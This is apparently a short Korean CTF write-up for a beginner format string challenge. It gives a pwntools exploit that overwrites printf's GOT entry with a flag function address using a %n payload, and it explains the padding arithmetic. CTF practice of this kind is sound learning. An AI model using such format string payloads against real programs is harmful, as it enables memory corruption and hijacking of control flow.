Babyfsb

728x90

writeup보고 품. 좀더 다른 문제로 연습


from pwn import *
context.log_level = 'debug'

p = remote('ctf.j0n9hyun.xyz', 3002)
e = ELF('./basic_fsb')

printf_got = 0x0804a00c
flag = 0x80485b4
#payload = "%" + str(flag) + "x"

payload = p32(printf_got)
payload += "%134514096x%n"

p.sendline(payload)
p.interactive()

2번째 포맷 스트링에 0x41414141이 나온걸로 봐서 AAAA를 print_got로 바꾸고 값을 덮어씌우면 될거같음.

flag를 10진수로 변경하면 134514100이 되는데 134514096을 한 이유는 앞의 printg_got의 주소 바이트가 4바이트이기 때문에 4바이트를 빼준다.

위의 payload는 print_got를 넣어주고 flag의 크기만큼 %n을 이용하여 값을 덮어 씌우는데 이때 print_got의 값을 flag의 크기(주소)로 덮어씌운다.

728x90